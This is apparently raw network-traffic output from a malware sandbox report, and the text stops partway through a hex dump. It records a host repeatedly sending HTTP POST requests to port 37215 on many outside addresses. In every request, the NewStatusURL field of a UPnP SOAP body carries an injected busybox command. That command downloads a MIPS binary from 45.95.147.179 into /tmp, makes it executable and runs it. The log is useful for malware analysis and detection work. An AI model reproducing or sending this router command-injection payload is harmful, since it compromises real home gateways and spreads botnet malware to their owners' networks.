22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.20	41380	94.120.175.98	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:09.677042007 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.20	52644	156.247.20.191	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:09.734113932 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:11.228591919 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:13.024593115 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:16.620671988 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:23.804660082 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:38.156652927 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:06.892735958 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.20	55986	156.254.89.34	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:09.734302998 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 